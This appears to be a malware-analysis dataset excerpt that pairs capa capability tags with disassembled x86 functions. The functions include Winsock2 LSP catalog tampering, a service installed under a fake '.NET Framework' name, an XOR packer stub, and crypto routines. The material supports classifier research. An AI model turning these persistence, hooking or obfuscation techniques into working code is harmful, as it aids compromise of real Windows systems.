joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53e910
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x53ea7c
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x53ea7c
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x53ea7c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x53ea7c
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x53ea60
cmp dword [esp + 0x10], 0x378
jne 0x53ea60
cmp dword [esp + 0x158], 1
jne 0x53ea89
cmp dword [esp + 0x17c], 2
jne 0x53ea89
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x66e504
push ecx
call fcn.0054b4dc
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push closesocket
call esi
test eax, eax
jne 0x53ea60
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.0053eac0
test eax, eax
je 0x53ea60
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push closesocket
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.0053e5c0
test eax, eax
je 0x53ea60
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x53ea89
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x53ea71
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x53ea7c
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x53ea9a
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x53eaa5
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x53eac0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x53eb81
mov eax, dword [esp + 0x488]
test eax, eax
je 0x53eb81
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x53eb81
cmp dword [esp], 0x378
jne 0x53eb81
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x53eb81
lea edx, [esp + 4]
push edx
call fcn.0053e550
add esp, 4
test eax, eax
je 0x53eb81
cmp dword [esp + 0x234], 1
jne 0x53eb73
cmp dword [esp + 0x258], 2
jne 0x53eb73
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x53eb81
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x53eb81
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x53eb90
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x53ebef
push esi
call fcn.0053e550
add esp, 4
test eax, eax
je 0x53ebef
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x53ebef
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x53ebef
push 0x66e528
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x53ec80
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x53ecb4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0053eb90
test eax, eax
jne 0x53eccd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0053ec00
cmp eax, 1
je 0x53ee5a
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x53ed06
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x53ed82
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x53ee02
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.0053eac0
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x53ee19
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x53ed22
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x53edd0
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.0053e770
test eax, eax
je 0x53ee02
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x53ed9e
cmp dword [esp + 0x18], 1
jb 0x53ee02
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push closesocket
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.0053e650
cmp eax, 1
je 0x53ee4b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x53ee29
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x53ee02
push ebp
mov ecx, ebx
call fcn.0053ee70
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x53ee5a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x53ee70
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x53eea2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.0053ec00
test eax, eax
jne 0x53eebf
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x53eee6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x53ef34
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.0053e910
test eax, eax
jne 0x53ef1d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x53ef03
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push closesocket
mov ecx, edi
call fcn.0053e6e0
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x53ef57
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x544390
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x671a0c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x5443a3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x5443e4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x671ab4]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x544416
mov bl, byte [esp + ecx + 0x4c]
jmp 0x54441a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x54440b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x544438
mov bl, byte [esp + ecx + 0x4c]
jmp 0x54443c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x54442d
xor ecx, ecx
mov eax, 0x671a1c
xor ebx, ebx
mov bl, byte [ecx + 0x671ac4]
cmp byte [esp + ebx + 0x14], 0
je 0x544467
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x671adc]
cmp byte [esp + ebx + 0x14], 0
je 0x54447e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x54444e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x5443d7
lea edx, [esp + 0x84]
push edx
call fcn.005444c0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x55c30f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x55c347
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0055a3c6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0055a39e
jmp 0x55c353
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x55d9fd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x55da3f
call fcn.005634be
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x55da3f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x55da36
xor eax, eax
jmp 0x55da47
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0055da4d
pop edi
pop esi
pop ebx
ret 4

Function at 0x5639ee
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x563a1c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x563a3a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00563954
jmp 0x563a3a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x563a3a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00563954
test edi, edi
mov eax, edi
jne 0x563a24
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x438cab
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop ebx
or esi, edi
add esi, 0x9a38b5d4
call fcn.00438ce3
and edi, edi
xor dword [ecx], ebx
or edi, esi
add esi, edi
sub edi, edi
inc ecx
push 0x95d74c03
pop esi
mov esi, 0x2ee6c92c
dec edi
cmp ecx, eax
jne fcn.00438cab
mov edi, edi
and esi, esi
ret
Function at 0x10054b30
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x10054b4e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x10054b43
pop esi
ret
Function at 0x4076c4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x20c]
mov esi, edx
push edi
push eax
call fcn.004095f0
add esp, 0xc
lea ecx, [ebp - 0x20c]
call fcn.004072b0
lea eax, [ebp - 0x20c]
push eax
push edi
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x407756
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_open_file_mapping_object.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x410], eax
xor eax, eax
jmp 0x407820
push 0x1e78
push edi
push edi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4077aa
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_map_view_of_file.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [esi + 0x410], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40774f
mov eax, dword [ebp - 0x210]
test eax, eax
jne 0x4077c6
call fcn.0040d306
mov dword [eax], 0x16
call fcn.0040d23a
jmp 0x4077d5
push 0x1034
push edi
push eax
call fcn.00408e00
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
push str.ReadSharedMemory__:
push ecx
mov edx, 0x82
mov ecx, esi
call fcn.00403b0e
lea eax, [ebp - 0x20c]
push eax
push str.succeeded._mapping_obj_name:__s
lea eax, [esi + 0x208]
push 0x104
push eax
call fcn.00406b11
and dword [esi + 0x410], 0
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407989
leave
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x1fbd778d
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x645e4177
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401ef0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, dword [ebp + 0x10]
mov esi, eax
push edi
mov edi, dword [ebp + 8]
lea ecx, [edi*8]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
lea edx, [ecx + ecx]
lea ecx, [edi*8]
sub ecx, edx
sub ecx, 2
je 0x401f34
sub ecx, 2
jne 0x401f37
add eax, 2
jmp 0x401f37
add eax, 3
inc eax
cmp dword [ebx], eax
jae 0x401f4c
pop edi
mov dword [ebx], eax
pop esi
mov eax, 0xfffffff0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 0xc]
mov eax, 0x55555556
imul edi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
xor edx, edx
test eax, eax
jle 0x401fe4
lea edx, [eax - 1]
mov eax, 0xaaaaaaab
mul edx
shr edx, 1
inc edx
lea eax, [edx + edx*2]
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
lea esp, [esp]
movzx eax, byte [esi]
movzx edx, byte [esi + 1]
movzx edi, byte [esi + 2]
mov ebx, eax
sar ebx, 2
and ebx, 0x3f
mov bl, byte [ebx + 0x431198]
mov byte [ecx], bl
mov ebx, edx
shl eax, 4
sar ebx, 4
add ebx, eax
and ebx, 0x3f
movzx eax, byte [ebx + 0x431198]
mov byte [ecx + 1], al
mov eax, edi
sar eax, 6
lea edx, [eax + edx*4]
and edx, 0x3f
movzx eax, byte [edx + 0x431198]
mov byte [ecx + 2], al
and edi, 0x3f
mov dl, byte [edi + 0x431198]
mov byte [ecx + 3], dl
add esi, 3
add ecx, 4
dec dword [ebp - 4]
jne 0x401f80
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
cmp edx, edi
jge 0x40203c
movzx eax, byte [esi]
inc edx
cmp edx, edi
jge 0x401ff6
movzx esi, byte [esi + 1]
jmp 0x401ff8
xor esi, esi
mov ebx, eax
sar ebx, 2
and ebx, 0x3f
mov bl, byte [ebx + 0x431198]
mov byte [ecx], bl
mov ebx, esi
sar ebx, 4
shl eax, 4
add ebx, eax
and ebx, 0x3f
mov al, byte [ebx + 0x431198]
mov byte [ecx + 1], al
cmp edx, edi
jge 0x402031
and esi, 0xf
mov dl, byte [esi*4 + 0x431198]
mov byte [ecx + 2], dl
jmp 0x402035
mov byte [ecx + 2], 0x3d
add ecx, 3
mov byte [ecx], 0x3d
inc ecx
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub eax, dword [ebp + 0xc]
pop edi
mov dword [edx], eax
pop esi
mov byte [ecx], 0
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4021b0
Capabilities:
Encode data using xor
Encrypt data using aes

Disassembly:
push esi
mov esi, ecx
test esi, esi
je 0x40234e
test eax, eax
je 0x40234e
mov dword [eax + 0xf0], 0xa
mov ecx, dword [esi]
push edi
mov edx, ecx
ror edx, 8
and edx, 0xff00ff00
rol ecx, 8
and ecx, 0xff00ff
or edx, ecx
mov dword [eax], edx
mov edx, dword [esi + 4]
mov edi, edx
ror edi, 8
and edi, 0xff00ff00
rol edx, 8
and edx, 0xff00ff
or edi, edx
mov dword [eax + 4], edi
mov edx, dword [esi + 8]
mov edi, edx
ror edi, 8
and edi, 0xff00ff00
rol edx, 8
and edx, 0xff00ff
or edi, edx
mov dword [eax + 8], edi
mov edx, dword [esi + 0xc]
lea ecx, [eax + 4]
mov esi, edx
ror esi, 8
and esi, 0xff00ff00
rol edx, 8
and edx, 0xff00ff
or esi, edx
mov dword [eax + 0xc], esi
mov edx, esi
shr edx, 0x10
and edx, 0xff
mov edx, dword [edx*4 + 0x42f870]
xor edx, 0x1000000
mov edi, esi
shr edi, 8
and edi, 0xff
mov edi, dword [edi*4 + 0x42fc70]
and edi, 0xff0000
and edx, 0xff000000
xor edx, edi
mov edi, esi
shr edi, 0x18
movzx edi, byte [edi*4 + 0x42f470]
xor edx, edi
mov edi, esi
and edi, 0xff
mov edi, dword [edi*4 + 0x42f070]
and edi, 0xff00
xor edx, edi
xor edx, dword [eax]
mov edi, dword [ecx]
xor edi, edx
mov dword [eax + 0x10], edx
mov edx, dword [eax + 8]
xor edx, edi
mov dword [eax + 0x18], edx
xor edx, esi
mov dword [eax + 0x14], edi
mov dword [eax + 0x1c], edx
mov esi, 0x431174
jmp 0x4022c0
mov edx, dword [ecx + 0x18]
add ecx, 0x10
mov eax, edx
shr eax, 8
mov edi, edx
and eax, 0xff
mov eax, dword [eax*4 + 0x42fc70]
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x42f870]
and eax, 0xff0000
and edi, 0xff000000
xor eax, edi
mov edi, edx
and edx, 0xff
mov edx, dword [edx*4 + 0x42f070]
shr edi, 0x18
movzx edi, byte [edi*4 + 0x42f470]
xor eax, edi
and edx, 0xff00
xor eax, edx
xor eax, dword [ecx - 4]
add esi, 4
xor eax, dword [esi - 4]
mov dword [ecx + 0xc], eax
mov edx, dword [ecx]
xor edx, eax
mov dword [ecx + 0x10], edx
mov eax, dword [ecx + 4]
xor eax, edx
mov dword [ecx + 0x14], eax
mov edx, dword [ecx + 8]
xor edx, eax
mov dword [ecx + 0x18], edx
cmp esi, 0x431198
jne 0x4022c0
pop edi
xor eax, eax
pop esi
ret
or eax, 0xffffffff
pop esi
ret
Function at 0x402960
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x436650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], esi
mov edx, eax
mov dword [ecx], 0
test edi, edi
je 0x402b15
test ebx, ebx
je 0x402b15
mov ecx, esi
test ecx, ecx
je 0x402b15
cmp dword [ebp - 0x10], 0
je 0x402b15
test eax, eax
je 0x402b15
cmp ecx, 0x10
jb 0x402a72
lea ecx, [ecx]
lea ecx, [ebx + 1]
mov ebx, edx
sub ebx, edi
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
sub ebx, edi
lea esi, [edx + 3]
sub edx, dword [ebp - 0xc]
mov eax, edi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], 4
mov edx, ebx
mov ebx, dword [ebp - 0x18]
movzx ebx, byte [ebx + eax]
xor bl, byte [eax]
add eax, 4
mov byte [edx + eax - 4], bl
mov ebx, dword [ebp - 0x28]
movzx ebx, byte [ebx + ecx]
xor bl, byte [eax - 3]
add ecx, 4
mov byte [ecx - 4], bl
movzx ebx, byte [eax - 2]
xor bl, byte [esi - 1]
add esi, 4
mov byte [ecx - 3], bl
movzx ebx, byte [eax - 1]
xor bl, byte [esi - 4]
dec dword [ebp - 0x1c]
mov byte [ecx - 2], bl
jne 0x4029f6
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
push ecx
push ebx
mov eax, ebx
call fcn.00402360
add esp, 8
test eax, eax
jne 0x402aff
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
add dword [eax], 0x10
sub esi, 0x10
mov edx, ebx
add ebx, 0x10
add edi, 0x10
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], ebx
cmp esi, 0x10
jae 0x4029d0
mov eax, dword [ebp - 0x20]
test esi, esi
je 0x402ace
mov eax, edx
sub eax, edi
mov dword [ebp - 0x18], eax
mov eax, ebx
sub eax, edi
mov dword [ebp - 8], esi
mov ecx, dword [ebp - 0x18]
mov cl, byte [edi + ecx]
xor cl, byte [edi]
inc edi
dec dword [ebp - 8]
mov byte [edi + eax - 1], cl
jne 0x402a84
cmp esi, 0x10
jae 0x402ab0
mov edi, 0x10
sub edx, ebx
lea eax, [ebx + esi]
sub edi, esi
mov cl, byte [edx + eax]
mov byte [eax], cl
inc eax
dec edi
jne 0x402aa7
mov edx, dword [ebp - 0x10]
push edx
push ebx
mov eax, ebx
call fcn.00402360
add esp, 8
test eax, eax
jne 0x402aff
mov eax, dword [ebp - 0x14]
add dword [eax], 0x10
mov eax, dword [ebp - 0x20]
mov edx, ebx
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov edx, dword [edx + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041637f
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0xfffffffd
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041637f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.0041637f
mov esp, ebp
pop ebp
ret